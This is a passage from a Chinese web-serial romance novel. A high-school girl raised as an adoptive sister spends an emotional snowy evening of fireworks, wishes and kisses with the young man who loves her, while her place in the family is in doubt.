“您以前问我为什么总对她冷淡……我想过保持距离,我努力试过了……”他慢慢摇头,俊颜满是泪痕,“我没办法控制自己的感情……只要她在,只要她是温声,我就做不到和她只是兄妹关系。”
“我一度觉得是不是我有病……”他忽然轻笑,眼角却湿液溶溶,“但医生说我很正常,妈,他竟然说我是正常人,可我……可我觊觎自己的妹妹……”
他又垂下头,清泪滑过脸颊,声音压得极低,重复道:“我对她,我控制不了自己的感情。”
“如果可以,路家错领的孩子,我宁愿是我。”
好像突然不认识他一样,姚书文怔怔地看着他,举着的手无意识放下,她一直就琢磨不透儿子的性格,聪敏不骄慢,肆意无忌却从未无理取闹,总是一副漫不经心的浑然模样,但他的所有事,她和路康几乎没有参与过,因为他总能自己解决,而且是可以做到最好,她以前总觉得儿子的性子张扬又疏狂,直到他长大了,她又发现,他的内心深处是紧紧封锁的。
像覆着雾气的玻璃,谁也看不透,哪怕他们作为父母,依然无法走进去。
但今天他却红了眼,当着她的面,自己拂开了那层湿雾。
是一块,轻轻一碰就能碎的玻璃。
“你早就知道阿声不是路家的女儿却一直瞒着我和你爸,为什么?”胸口一阵锥心刺骨的疼,姚书文无意识抬手捂紧,轻声喃喃,“那我的亲生女儿,又是谁?又在哪里?”
是不是和阿声有关系……
她完全不敢想最坏的那个结果。
路泊汀握紧钥匙,抬头,眸光潮气微退,低声道:“我什么都不要,所有的东西我全部转移给妹妹,我会找到她,给我一周……三天时间,三天后我带她来见您……”他咬紧牙,喉咙又滚了一道,“妈,我求您,别送她走行吗……”
*……*
温声回到学校时,已经快到晚自习,王立明站在班门口手里正在拨号码,看到她后哎哟一声收了手机:“怎么请个假这么久?刚要给你家长打电话,快进教室准备,马上要考试了。”
江乐橙看向她空着的手,疯狂使眼色:我的姐姐啊,你卷子呢?
为了考试,每张座椅都拉开了距离,她慢慢挪动在过道,小声回:“没找到。”
找了两个小时,没找到。
江乐橙还想说什么,看到她冒着红的眼睛和鼻子,哭过的潮痕在一张透白凝脂的脸上尤其明显,心里一惊,连忙伸手在桌子里翻来翻去,身后响起落座的声音,她终于翻出了自己的湿巾,盯着讲台上的王立明,也不敢回头,只能朝后弯起胳膊,晃了晃——
快擦擦!
手心还有下午给她的软糖。
温声努力睁大发酸的眼睛,轻手接过,指尖在她手心点了点——
我没事,别担心。
角落的贺厉状似无意地看过来,见她擦了擦眼睛,又收回视线低下头重新在草稿纸上写写画画。
“这张卷子是联考的模拟卷,打乱后我又新加了两道大题,我的要求很简单,一节晚自习的时间答完,分数不能低于125分,谁没答到标准,周五下午叫上家长办公室准时见。”王立明说完后就开始给每一组分试卷。
江乐橙撇撇嘴小声吐槽:“又不是小学生,天天叫家长有劲儿吗?”
“都安静——”
她又翻了个白眼。
就挺烦这种形式主义的。
温声掏出保温杯小口喝了半瓶,又揉了揉发痛的太阳穴,听见叫家长三个字,心里无意识一抽。
绝对不能,再给家里的任何一个人添麻烦了。
撕开软糖的糖纸咬进嘴里,酸甜溢出,强打起精神准备答题。
前面的题一路写下来都很顺,但到了第二道大题的第二小问,她开始钻牛角尖,换导时在草稿纸上算了很长的一串数字,大脑告诉自己是对的,笔尖却不受控地一划。
重新算。
时间一分一秒过了,她还是没有算出最有把握的答案,距离交卷还剩十分钟,还有最后一道大题没做。
呼。
深呼吸后静下心来,她又想类似的题以往最简捷通用的答题方法,草稿纸上早就密密麻麻一片,好不容易填了确定的答案,距离交卷还剩五分钟。
最后一道大题分值18分,她没办法保证前面的题全对……
思绪有些乱,但还是强迫自己写完了第一道小题。
5分应该能到手……
距离交卷还剩一分钟。
握着笔的手有些打滑,她转过头,教室里方形白炽灯的冷白灯光映在窗户,依稀可以看到外面的树影,槁木枯枝的萎落模样早就没有了初秋时的绿叶蔼蔼,她又想起开学不久后,他们互相置气的那几天,他去京市后,她总是有意无意地透过挂花飘香的走廊看向C区教学楼。
那段时间总是幻想,他会不会突然出现在校门口,哪怕站在,她不喜欢的那处最显眼的位置也好。
无论春夏还是秋冬,放学后校门口最不起眼的角落总会有他的身影,只要有他在,她的生活就是融融暖春。
所以他不在的日子,四季反而格外分明。
在一起的时间里,为什么就没有对他更好一些……
温声鼻子一酸,眼睛又湿了起来,晚自习的铃声正好响起,最后一题的两小问她没有答。
江乐橙转过身收卷子,见她红着眼睛盯着试卷。
一看就知道不是在看题。
“阿声……发生什么事了吗?”
温声抿紧唇摇头:“我没答完题。”
“这不是很正常嘛,之前很多次你也没有答完呀,不要给自己太大压力,慢慢来。”
她一直摇头,鼻子越来越红:“感觉再也答不完题了。”
也再也见不到他等她的身影了。
姚书文会送她走。
这应该是能预见的结果了。
江乐橙咬唇,那些惯用的安慰人的话突然就说不出口了,平时总是她安慰她,这样黯然泪眼的时刻不多见,想了想,只能圈紧她的一只胳膊,用肢体告诉她——我会一直陪着你。
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温声翘起唇笑了笑,手指打着圈地轻蹭她的校服。
明眸依然潮红。
看的江乐橙更难受了,下巴抵在她桌子上,轻声问:“外面飘雪了,路草会来接你吗?”
不知道……
温声勾起挂在桌侧的伞,还是那把彩虹花边伞:“应该……会来吧。”
收拾好书包出了教学楼,飕飕寒意迎面扑来,地面已经铺了一层茫茫雪霜,她打开手里那把伞,鲜亮颜色在黑漆漆的人潮里格外显眼,快到校门口时,她突然扯住江乐橙的手:“能看出来我哭过吗?”
江乐橙也不管站在路中间会不会挡道,当场抽出湿巾动作细柔地给她擦脸,又整理了一下她的马尾,最后捧着她的脸左右细看,点头笑道:“这样就好多了。”
除了说话还有些闷腔。
离校门越近,温声走的越慢,手里的伞向上撑了撑,终于挪到了侧门,视线扫过一圈。
没人。
他没来。
鼻尖霎时又晃过细涩的酸。
怎么现在动不动就想哭……
江乐橙见她低下头若无其事地蹭了蹭眼睛,急忙指向不远处的路边喊:“那个!那个!那个好像是路草!”
哎哟!
她可真为他们两人操碎心了啊。
温声倏地转头,就见他戴着头盔长腿支在机车旁,在她抬眼时,才不紧不慢的歪起头盯视过来,唇角噙起轻笑,又晃了晃手里的手机。
好像故意逗弄她似的。
模样很是漫诞慵懒。
然后……
他就看到自家小姑娘站在人来人往的校门口,鼻子一抽一抽的,眼圈越来越红。
开始哭了起来。
旁边的江乐橙一脸无措地给她擦眼泪,“阿声……今天这是怎么了,你和我说说嘛……呜呜你别哭啊……”
路灯渐亮,半空扬起莹莹雪絮,湿雾拂泛,雪路发出被踩趿的闷簌声。
隔着人群,她睁着濛濛泪眼看向他,眼泪成顺地往下滚,哽泣声隐入四周喧嘈。
一张小脸被擦得通红。
胸口一滞。
路泊汀慢慢敛了笑意,站直取下头盔,拿了后座的手提袋朝她们走过去。
“唔……她从下午开始情绪就不太好了。”
他只是点头,没多问,手里的袋子递过去:“给你叫了车,我带她先走。”
江乐橙瞪向面前鼓起的甜品袋,虽然他给阿声买时都会顺道给她带一份,但这也太多了吧……
她每次都吃不完啊……
路泊汀勾过温声的书包和伞,随即扯下羽绒服的拉链,也没说话,搂过她的腰往身前带,又错开身挡住风口,手指挠她的颈肉,低头缓声哄道:“对不起宝宝,下午有急事来晚了,我的错,等会带你去放烟花,不哭了好不好。”
明明是低冷喑哑的嗓音,偏偏在伏下头的喃语中,无故浸入几分温润轻软。
只对她一个人的温柔。
江乐橙见温声埋进他衣服里连肩膀也抖了起来。
哭的更厉害了……
她眼睛也有些发酸,只好站在他们身前又偏了偏肩膀,挡住了四周有意无意的窥探。
温声抱紧他的腰,失声哭了起来,她再也不想顾及他们的关系会不会被发现、是不是在人流攒动的校门口、今晚会怎么样、明天又是什么样……她只想抱着他大哭一场,没有任何理由。
心里的恐惧从见到他的那一刻,就全部消失了,只剩下他的呼吸,他的心跳,和耳边他的柔声哄慰。
路泊汀亲了亲她的耳朵,视线不经意看向远处。
江乐橙看到他的眼睛,渐渐也红了起来。
哎。
他又搂紧她的腰,下巴轻轻垫在她的头顶,缓缓抚摩:“我不会再让你哭了,这是最后一次。”低头擦她的眼泪,轻声承诺,“我保证。”
江乐橙上车前,还是没忍住掏出了手机,在昏然夜幕下和溟溟雪雾中,他们一前一后迅速隐入明烨的街头,背影紧紧相贴,两颗万般赤灼的心无尽擦碰,好像即将远涯的飞鸟。
恍神间,视线内只剩下车尾小小的红迹。
犹如夜行中最亮的指明灯。
62. 烟花
“You know that I love you,there’s nothing I won’t do.”
(你知道我爱你,为此我可以不顾一切)
“You love is magic inside of me,I’m so addicted to you.”
(你的爱就像我内心深处的魔力,我无法自拔)
红灯时,车子缓缓停下,温声听见他开始漫不经心地哼歌,隔着头盔,声音有几分朦胧不清,她贴上他的背又细细听了两句,反应过来不由一怔。
是她前几天分享在社交平台上的一首歌。
没想到他还特意去学了。
路泊汀坐直后扫了一眼后视镜,推开镜片,黑眸对上她还泛着红的眼睛,朝她眨眨眼时又唱了一句,尾音拖得很轻很长:“it’s your love,your love,your love——”
温声鼓起脸颊偷偷瞄他,目光对上时又飞快躲开,耳边是他的低声哼笑,小脑袋“啪”地摔到他的背上,两手紧紧抱住他的腰,小声问:“什么时候学的呀?”
这首歌还被朋友吐槽不好听呢。
变为绿灯,路泊汀耸耸肩又滑下镜片,背顺势前伏,在车猛地窜出前,吹了声口哨:“宝宝,抱紧咯。”
夜风凛凛,冬雪霏霏,天际漫着傍晚与雪天交融的幽蓝,在追风疾驶中,天空有一抹忽闪的红星不断掠过枯疏的树隙,和他们一样,在趋前中肆力飞驰。
盯着那架飞机,温声又看向前,手倏地钻进他的衣摆,胳膊圈紧他的腰,冰凉触到烘热,他下意识嘶了一声,姿势倾的更前了,绷实的腹部应力微微耸动,热度徒增,她悄咪咪地蹭上他精硕紧实的腹肌。
指尖轻轻摩揉,又突然起劲——
一拧。
手感很弹韧。
“啧。”
温声注意到他偏过头,车速也降了下来,后视镜里黑色镜片下的眼梢微挑起,不紧不慢地斜了她一眼,眼神沉邃。
警告味十足。
哪还有在校门口哄她的温柔样子?
嘁,是谁说以后不会再让她哭的?
鼻子故意抽了抽,敛下眼睛,脑袋也在他寡淡又玩味的视线中一点一点垂耷下去,直直砸到他的后背,头盔发出“嘭”的阵响声。
唔……好疼!
眉头当即皱起,忍着疼,抽出贴在他腰腹的手。
换成了揪他的衣角。
一副马上要哭的蔫不唧模样。
路泊汀又是一声轻飘飘地哼笑,懒得拆穿她,大腿卡紧油箱棱边,一手控制车把的转动,另一手捞过她的细手贴向自己的腰,打算带她飙一段路:“老公带你追飞——”
身后的小人像是故意磨他一样,用力拍向他的背,又指了指路边的便利店,大喊道:“我要喝啤酒!给我买啤酒!!”
不管,今晚她想怎么作就怎么作。
只对他。
路泊汀撑着脖子叹了声气,车速是降了下来,但还是没忍住坏心眼地一个急刹起尾,不给她抬胳膊缓冲的时间,两团柔软直直从身后撞上来,娇哼溢出的同时背部又被捶了一拳:“你开的好烂,我再也不坐你的车了。”
说完就腿一跨,跑下了车。
头次被人说开车烂,路泊汀转着车钥匙也下了车,慢步在她身后又很贱地逗她,口吻听上去还挺真:“宝宝,车没油了。”
“什么?”
温声扭头瞅他,表情很难言:“不加满油那你还来接我……”
还有一句忍了忍没说出口:在我面前装什么装啊!
路泊汀很委屈地横了她一眼,也耷下脑袋,好像丝毫不嫌丢人似的,在便利店里一众放学的学生面前,弯下腰用额头示弱地蹭了蹭她的肩膀,又像故意膈应她一样,掐着嗓子柔声道歉,语气很娇:“对不起啊主人……下次不敢了,今晚回家后滴蜡还是捆绑……我都听你的。”
说完又给了她最后重重地一击——
“谁让……”他忽然生笑,熠熠黑眸只有她能看见的玩味浪荡,一字一句强调,“我是你的小奴呢。”
声音很清晰。
异常妖娆地清晰……
周围能听见这句话的人,不管男的女的,统统回过头盯他。
看上去长的挺帅的一小伙……
不应该啊……
温声更像活见鬼一样脸迅速涨红,眼睛也骤然瞪大,又在下一秒低声尖叫后推开他跑到离他很远的货架旁,颤着手指他:“你……你离我远点!你真的没救了……”
逗完。
路泊汀倚在墙上抱臂看她,笑的极不要脸,挑眉朝她勾了下手指:“过来。”
温声只想躲他远远的,在冰箱里随意取了三瓶青啤,飞快跑到自助机前结账,但系统刷新很慢,她只能一边心里催它快点快点,一边歪着嘴巴疯狂吐槽:“死变态……”
头顶的光突然一暗。
他从耳侧倏尔探头,又亲了亲她的脸颊,失笑道:“跑什么,我也想喝,请老公喝吗宝宝。”
像甩不掉的鬼。
温声到嘴的话自然收不回:“你滚啊!谁和你宝宝来宝宝去的。”麻溜结完账,抱着她的酒转身撞开他的肩膀,又刺了他一句,“神经病。”
路泊汀跟在她身后,走的很慢,笑的不住摇头。
就蛮喜欢逗她跳脚的。
到远郊的一处山庄时,已经快到晚上八点钟,庄口的坡道没有铺水泥路,雪天的土路变成湿滑洼陷的泥路,车子开不进去,两人只能下车步行,瞥见附近有一块很眼熟的黑色巨石,温声去勾旁边的人手指:“我们以前是不是来过这里?”
“嗯哼。”
回应的很是敷衍。
她也很敷衍地翻了个白眼。
路泊汀背着她的书包,伸手要去接她手里的三罐啤酒,她急忙抱紧酒扭过身,抬眼瞪他:“这是我的!”
活脱脱的酒鬼缠身。
他似笑非笑地压低眉梢睨她,又懒得和她废话,弹指敲她的脑门,声音很响脆,扬起一侧唇笑的很痞很烂:“谁敢和我们酒鬼温姐抢酒喝啊。”
揶揄满满的表情,好像又在嘲谑她——
哥们是真瞧不上你15块钱三瓶的酒啊宝贝儿。
哼,算你识相……
温声揉着额头,张嘴还想继续怼他,就被他忽然锢住腰,大手微微施力,双脚离了地。
她被提溜起来横在了半空。
脸朝下,抱着走。
陡然的失重感带动小心脏咯噔一跳。
“诶?放我下来呀,我自己可以走。”
“抱好你的酒。”语气不咸不淡,看过来的目光更是让她直发毛。
撇撇嘴,温声像护小鸡一样紧紧护着怀里那三罐酒。
这可是她今晚的法宝!
路泊汀大步跨过泥路,单手挟紧她的腰,湿地发出被踩经的噗啪声,另一手接了通电话:“纪伯伯,东西放场外就好,不用出来接……嗯好,谢谢。”
温声盯着他鞋子和裤腿上被溅到的泥点,每走一步,每抱着她走一步,那些泥点就越来越多,密密麻麻地占据了她所有的视线。
回过神后听见纪伯伯三个字,路康以前留学时的旧友,忽然反应过来,小时候的夏天姚女士经常带他们来这里避暑。
好端端的突然来这里干嘛呀……
路泊汀抱着她又走了几分钟,直到停在一处有半个足球场大的空旷场地,场内大号的照明灯全部被关了,只留下四个角落的微暗路灯。
温声被他搁到一处还算干净潮软的地上,环视一圈,没什么人,低头又见他蹲下身在摆弄好几个纸箱,本来支着下巴还在等他看过来,结果一分钟过去了……这人没搭理自己,浅咳一声,她只好若无其事地晃到他身旁。
“在干嘛啦?”
芜!
看到箱子里成捆成捆的烟花,温声眼睛睁的溜圆,真是带她来放烟花的啊……
蹲下来学他的样子,手指在那些烟花上拨来拨去的,有手持的,也有螺旋升空的,还有地面喷花的……
市面上能买的不能买的,基本都在面前了。
“唔,今晚全放完吗?”
今天是什么日子吗?
还是……要说什么话啊。
温声多看了一眼他,手里握着的易拉罐被她捏的有些变形,趁他在搬东西,悄悄打开一罐仰头喝了一大口。
又苦
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又涩。
她连忙又灌了几口。
心里的惶惶不安被强行压下。
路泊汀将特意标注好的几个蓝色纸箱搬到场地中央,快指拆开里面的烟花,又按照地面划出的位置,依次摆好底座和发射筒。
手里牵着引线走过来时,瞅她蹲在地上发起了呆,小脸泛着淡淡的粉,手边是空了的一只酒罐,手指正在不知不觉地戳弄着地上的积雪。
突然很安静,也很乖。
他好像终于想起忘记搭理她了,扯唇一笑,去拧她的脸,微微用力,痛感打断了她突然陷入的情绪,举着胳膊在他眼前乱挥:“真的很疼很疼啊!”
眼睛又泛起淡淡的一层水光。
路泊汀凑近,嘴唇轻蹭她的眼尾,带着温凉又有些潮润的触感,低声道:“今晚带宝宝提前过圣诞好不好?”
距离圣诞节还有三天。
温声立马就知道是什么意思,眼睛更红了,但好在她喝了酒,脸本来就泛着红晕,装作喝得很醉,大着嘴巴略他:“没有圣诞帽和圣诞树,也没有圣诞老人!这不算!”
说完还打了一个大大的酒嗝。
一副确实变成小酒鬼的模样。
路泊汀眉眼晃着笑意,一副就知道你会这么说的惯纵表情,手里的引线勾过她的小手,顺势牵起,又缓步移到场沿,温声注意到旁边有一堆高高垒起的木草垛,旁边是一个大麻袋。
看着他弯下腰在点那堆草垛,焰火慢慢燃起的瞬间,她很想问他是不是又要去美国了,想问什么时候走呢,想问三天后真的能带回黎雨吗,想问如果亲妹妹回来了……那她该去哪里……
最想问,能不能……带她一起走。
他蹲下身开始翻弄那个麻袋,本来就姿气俊俏的脸在明灼的火光下显得有几分不真实,温声看着看着,眼泪又涌了出来,不想被他看到,校服袖子快速擦干,但她好像真的喝醉了一样,视线慢慢变得模糊,睁大眼睛努力看他,可那堆草垛火势越来越大,也越来越高,直直吞噬了他的身影。
他就在她眼前,忽然消失了,连带那些翻东西的窸窣声也隐没在燃火的嘎吱声中。
她一愣,心脏紧跟着搐缩。
“路泊汀?”
没有回应。
半张的嘴唇隐隐翕动,腿无意识向前挪,想要跨过那个篝火时——
‘嘭——’
顶空猝然发出隆隆震响,紧接着灰暗场地被腾起的烁明光焰迅速刷亮,绮丽绚烂的蓝色烟幕急骤升空,在上空不断膨胀延伸,直至笼罩了半边天空,温声抬起头,空中又放出一记轰鸣声,蓝色的云屏缓缓散开,在高空渐渐绘出一面巨幅方形画像。
她凝着那幅画里戴着圣诞帽的人,虽然烟花灯不能将面部五官处理的太过细致,但是弯弯眉眼和盈盈笑颜……
一看就是自己。
耳侧轻悠悠地响起他的低喑声音:“宝宝圣诞快乐……”嘴唇触了触她发红的耳朵,语调又很轻地重复,“圣诞快乐啊宝宝……”
头顶忽而一沉,脸颊垂下一条毛茸茸的红色帽桶,底端是白色的毛绒球。
圣诞帽!
温声霍地回头,唇角擦过他的脸颊,他已经换好圣诞老人的服装,同样也戴了一顶软茸茸的圣诞帽,弯腰对上她红红的眼睛,抿唇笑了起来,脸颊酒窝隐现,话音带着少见的害羞:“抱歉啊宝宝,没来得及准备太多,只能凑活看——”
腰被猛不丁抱住,长腿也跟着向后踉跄了两步。
温声埋进他衣服里,声音很闷软,圈紧他的腰,又哽声哽气地叫他:“路泊汀……”
路泊汀敛下邃然黑眸,手指一缕一缕绕她的长发,有些漫不经心地回她:“嗯?”
她吸了吸鼻子,继续叫他:“路泊汀。”
“嗯。”
“路泊汀……”
他笑了出来,微微震颤的声腔穿透进她的心房:“我爱你。”
不等她说话,轻轻捏起她的颈肉,指了指夜空中央还在放的烟花:“快许愿了宝宝。”
温声哑着声音问他:“为什么你不许呀?”
“因为……”他牵起她的手,握得很紧,唇边的浅笑艳绝夺目,“我最大的愿望已经实现了。”
现在是还愿的时刻。
63. 许愿
寒潮弥茫,雪絮纷飞,顷刻间,场地就被蒙然霜雪覆了一层醒眼的苍色,两人的帽子也被雪水压了下去,微湿碎发耷在颊侧时,温声十指交叉对着空中还在簇簇燃放的烟花,慢声许愿道:“我希望,明天你还能来接我放学。”
希望你可以顺利找到黎雨。
“希望,期末可以考进班里前十。”
希望你们能平安回来。
“希望,少美联赛可以提名。”
希望我们……还能一起度过很多个像今晚这样漫长寂然的夜晚。
我想和你,冬光岁寒,瑞雪期期。
温软细语在凛然寒气下有几分含混低迷,她昂起头,眼睛一直注视着即将燃尽的烟焰,那副画像随着吹动的雪尘越来越淡,直到画中的吟吟笑意彻底散开。
她嘴角的笑也慢慢消失了。
没有哪一次,出口的愿望会如此艰难。
脑袋又是一轻,路泊汀摘了两人的圣诞帽,任由碎雪落下,渐渐,头顶一片白,他吹了吹她的头发,目光落到今晚她一直就很红的眼睛,声音也不由放轻:“宝宝,我们提前四十年共白头了。”说完又无奈淡笑,“愿望说出口就不灵了,不过我会记住,一件一件让你实现。”
温声蹭向前,抱紧他的腰,轻声问:“都会实现吗?”
路泊汀挑眉看她,曲指拧她的脸,这次力度不痛不痒:“我说可以就可以,你只要相信我就好。”
语气依旧嚣张霸道,但听到她耳朵里却多了些幼稚可爱。
温声垂下眼,又看到了他裤腿的泥点,鼻子微微冒酸,小声说:“你也可以实现。”
不想看她蔫头耷脑一副失神的模样,他掬了一把地上的雪,黑眸晃过促狭玩味,慢慢凑近,对着她的眼睛很快吹了一丝凉气:“宝宝打雪球么。”
话音刚落,那把雪就弹向了她的脑袋。
快准稳。
温声被砸了个措手不及。
“你……”
‘啪——’
眼睛还没睁开,脑门又被一击。
“疼啊,你干嘛呀!”
快速抖落头顶和脸上的雪,她伸腿想踢他一脚,但他已经跑远了,趁她来不及躲开,掬起雪再次砸向她脑门。
三连砸。
她真被砸懵了。
“你混蛋……你给我等着!”
温声气得跺了跺脚,湿着脸急忙蹲下身,两只手飞快团雪球,但雪絮又冰又湿,她团了很久也没成型……
路泊汀慢条斯理地走过来,闲闲靠在一旁,手里的雪球一颗颗从四面八方丢向她头顶,丢完后还不紧不慢地扫开手里的碎雪,姿态好不悠闲,看着她吃劲团雪球的笨样,扬起眼梢作乖巧状,但咧开的嘴角愈发放浪恶劣:“好笨啊宝宝,这都不会啊,要不要我教你啊?”
好像有点等不及,他又很贱地弯下腰催她,靠得很近,勾起唇一字一句继续起衅:“到底行不行啊,要不你叫声老公我就——”
没说完。
温声手里的雪向后猛然一抛。
扬了他一脸。
啧。
Fine。
挑起一侧眉笑了笑,他闭着眼没看她,朝她勾勾手又点了点脚边:“过来,进眼睛了,给老公吹吹还来得及。”
一副谈笑晏晏的好脾气模样,但心里的坏水早就差点淹死她了。
呵,他以为他是谁,让她过去就过去啊。
温声这下抓了一把更厚的雪抛向他,大声呸他:“什么来得及来不及,路泊汀你少威胁我,我不听!”想起之前爬山时他捉弄自己,于是很不客气地上前踹了他一脚,如果不是身高差太大,她都想狠狠推倒他,转身跑路前又朝他竖起中指,“少惹我,不然有你好果子吃。”
说完就快步跑到了场地对角。
离他够远。
没好果子吃的路泊汀差点被踢倒,一个趔趄后斜着身子晃晃悠悠地站直,又若无其事地挥开眼前的雪絮,隔得太远,她看不清他什么表情,只知道他突然丢了手里的圣诞帽,随即歪起头盯了过来……
然后……
她就看见……
他往自己的这个方向直奔冲来。
长腿一步抵她三步。
温声嘴角的嘲笑瞬间一僵,瞪着一双大眼睛一时没反应过来,直到他离自己越来越近,倏尔才想起来——
跑啊!
边跑边回头骂他,语气很急,小脸也红了一片:“你不准追我了!明明是你先惹我的!别追了别追!!呜呜烂人啊啊啊——”
他的疾步带着势不可当的恣肆盛气,像离弦之箭直射目标靶心,干脆又利落,脸颊和她一样被雪水沾湿,漂亮的五官在茫茫冰天里愈发韶然英气,勾起的眼梢直直睨向她,离她越近,眼里漾出的坏水就越多,嘴角挂着的逗谑也越加明显。
在皑白雪地里,在前后追赶中,冷风吹乱了他们的一头黑发,一白一黑,一静一动。
两人俨如画中人。
温声穿的本来就多,跑动的步子又小又紧,在快被抓到时,一个紧急拐弯,尖叫声漫布整个空旷的场地:“求你…别追了啊啊……真的好累……”
路泊汀轻飘飘地吹了声口哨,也不追了,变了个方向直接去堵她的路。
温声只顾着埋头狂奔,刹不住脚地差点撞到他身上,寒风灌进胸口,说话也带着喘息的哼哧声:“你…你是真的……”狠狠拍掉他扶自己的手,喘着气接着说完,“真的烂啊!”
哪有人满场地追女朋友跑的啊,而且是不追到手不罢休。
路泊汀扯唇哼笑,一副随便你说的死样子,不顾她的挣扎捏起她的颈肉,拎到吹不到冷风的角落,长腿顶在她身前,堵得严严实实,抱臂上下打量她:“你是不是还有什么话没和我说?”
流里流气的语调,像个学校门口的地痞流氓。
拿腔作调的姿态惹得温声连连翻白眼,在他眼前挥空拳:“没有没有,我和你无话可说。”
他指了指眼睛:“今天不道歉,就别回家。”
细细一看,眼睛确实冒着红,睫毛也湿乎乎。
但……
威胁谁呢。
温声指了指同样发红的额头,亮晶晶的眼睛一眨一眨地控诉他:“你打了我三下!我更疼啊,要道歉也是你——”
眼前忽然一暗,嘴角也跟着落下一处温热,她的呼吸倏尔变得很迟缓,路泊汀低下头轻轻含住她的嘴唇,霜天雪地里,他垂头她被迫抬起下巴,溽软的唇瓣触摩时淡淡的酒精味漫在两人呼吸间,她感觉头更晕了……
离得太近,贴的太紧,他的低语在唇齿缠磨间暧昧又轻淡,可传进她的耳朵里异常清晰悸钝:“老公给宝宝道歉…对不起……”
脸在慢慢发烫,越来越烫,温声闭紧眼睛不看他,很想当作没听见的……
吮吻由轻到粗粝,他的舌尖顶进唇腔里不断勾滑,她的喉咙无意识鼓动,他还故意要搅弄出水渍声,声音越来越大,高挺的鼻梁抵蹭着她秀气的鼻尖,向下压的时候,舌尖缠紧她的软舌反复绕圈吮吸。
“唔你压的太重了…我喘不过气了……”
她抬手想推开他时,他又喃声道:“对不起宝宝…好爱你……”
支吾挣扎的动作突然停了下来。
可能他的声音太过温柔,可能她刚好闻到了他身上的好闻气味,可能在一处窄小却没有冷气的角落,泛着酸疲的心脏渐渐回起了暖,可能头顶那抹烟花散尽时,明艳的火光正好照进他们的眼睛。
可能,一切都很偶然,但她对他向来束手无策,只要他说爱,只要他还牵紧她的手,只要他们的呼吸还在紧紧交缠……
这就足够,可以唤起她所有的勇气。
爱情脆弱又如何?
踮起脚搂紧他的脖颈回吻他,手指移向他的发顶,那片雪白融化在她的指尖。
“路泊汀,对不起……”
晚上九点半,场地马上要关门了,温声拎着剩余两罐酒,挑了一处雪很厚的地方,打算离开前堆个小雪人。
“十点赶不来,十一点吧,还是老地方。”瞅了一眼不远处蹲着垒雪的小人,路泊汀转过身,对着电话那端的两人语气很不客气,
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嘴角嗤笑,“等等又怎么了,今晚这事办不成兄弟也没必要做了。”
温声直着腰竖起耳朵很努力地偷听,但听了半天也没听出个所以然来,撇撇嘴,又低下头认真堆雪,雪量不够,只能堆出个头小小的雪人,晶莹清透的雪渗在指缝,两只手冻得通红,她开了一罐酒,这回终于像个谙熟酒醇的酒鬼,喝一口咂咂嘴,又喝一口继续咂咂嘴。
也没有那么苦了……
堆着堆着,眼前的雪地突地一亮,路泊汀开着闪光灯走过来,居高临下瞧那个很像河童的雪人,没忍住还是出口成嘲:“Wow,太厉害了啊宝宝,恭喜你啊,世界上最伟大的艺术品今晚诞生了。”在她抬手打过来时,鞋尖蹭她的裤腿,挑眉哼笑道,“站边儿去,我来堆。”
头不像头,腿不像腿,堆的确实很丑。
温声哼了一声,只好给他挪位置,盯着那双修长漂亮的手在雪堆上来回拨弄,不到片刻,雪人大致的形状就出来了,她戳戳他的胳膊,朝那个雪人呶呶嘴:“你要堆成头很圆身体胖乎乎的小熊,你还要给它穿毛茸茸的棉袄,如果能给它戴双手套就更好不过了……”
叽叽咕咕说了一大堆要求,全然不顾身后站在铁门边朝他们喊话的管理员:“场地马上要关灯锁门了,赶快收拾好东西离开了!”
温声扭了个方向,也朝他喊话:“叔叔再等我们十分钟可以吗?”说完觉得不太礼貌,摇摇晃晃站起身,揪了一把路泊汀的头发,刺挠却很柔软,“我过去一下,你先堆。”
路泊汀抬头看她,点了点头:“看着点路,别滑倒。”
拎着最后一罐酒朝管理员走过去,期间还打了个酒嗝,她好像终于醉了,撑在铁门上小声说:“最后十分钟,十分钟后我们马上离开,拜托了叔叔。”
管理员有些难为情,还想拒绝时,手里突然被塞了一堆糖,面前的小姑娘从自己的校服衣兜里翻个遍,又去校裤兜里翻,动作有些急,接着,他的手里又被塞了一堆糖,“小姑娘你这……”
他看着她,抿起唇,一时不知道该怎么说下去了。
大门口的亮灯照在温声身上,冻红的脸有细碎水光晃过,她垂着头,眼角的泪痕越来越清晰,手里的酒握得很紧,声音有些抖:“就十分钟……给我和他最后十分钟,拜托了……”
似醉非醉的模样,说话又带着清醒时的泣腔,管理员见不远处的男生时不时看过来,只好点头:“你们尽快吧。”
等他离开,温声看了一眼时间,已经过了快两个小时,飕飕冷风重新吹向她,天空只剩来时的灰蒙。
但雪依然在下。
抹了把眼泪刚转过身,就见路泊汀已经站起来,腿边是成型的小熊,脸很圆,身上穿了一件被碎雪层层堆叠的棉袄,手套是他们刚才的圣诞帽。
她随口提的要求,他都做到了。
鼻酸胸口也堵得慌,睁大眼睛强忍住眼泪,她开了最后一罐酒,边喝边朝他走去,头很晕,脸也很烫,直到走到他身边,那罐酒已经见了底。
靠在他身前看那个被堆的很精致可爱的小熊,温声吸吸鼻子嘀咕道:“它好漂亮啊,可以塞进我的书包带走吗,可以把它搬回宁湾吗,有什么办法能让它一直不融化呢?”
软声软气下的酒言酒语,总是让听的人哭笑不得,路泊汀低声轻笑,也不管多幼稚和不切实际,顺着她的话接腔:“等今晚回宁湾,我空出一间储物间给你专门放雪人,但现在这只小熊只属于这里,你见过了它,它就不会被遗忘,也就永远不会融化……”
边说边捏了捏她的脸,又凉又烫,很奇怪的热度,他低头看她:“还好吗?”
她顺势偏过头贴向他的手掌,还像猫星人一样蹭了蹭他的手心,闭着眼摇了摇头。
今晚她很黏他。
“宝宝。”
她嗯了一声,声音很低很轻,好像随时都能睡过去。
“那个小黑盒可以打开了。”
靠着自己的小人没动,但他知道她在听,牵起她的手,指腹揉她发红的指尖:“本来想过段时间再让你看的,但现在是时候了。”
64. 勾引
晚上十点半
温声迷糊中感觉掠过耳边的风变得轻拂起来,趴在他的背上睁开眼,道路两旁是熟悉的香樟树,路灯下,直立耸拔的树身铺在柏油马路上,形成两列斑驳错落的暗影,沥青的湿地被夜灯映的碎光闪闪,空气中还泛着雪后青苔的潮郁。
是怡翠苑跨径头尾的一条林荫道,也是他们每次路经的小路。
路泊汀刻意放缓了车速。
这个时间没什么车和人经过,温声重新贴上他的背,跟着他的心跳,细细感受那些晃过眼前的树影和灯光,明暗交织,带着只属于夜晚的光怪陆离,像一盘古旧的时光机,风声沙沙,如卡带拨动,那些光影悄然无声地穿过他们,又一帧帧地飞快向后远去。
这是一条重叠了这十二年里所有踪迹的小路,所见所听都是往日影事。
“路泊汀。”
他偏了下头。
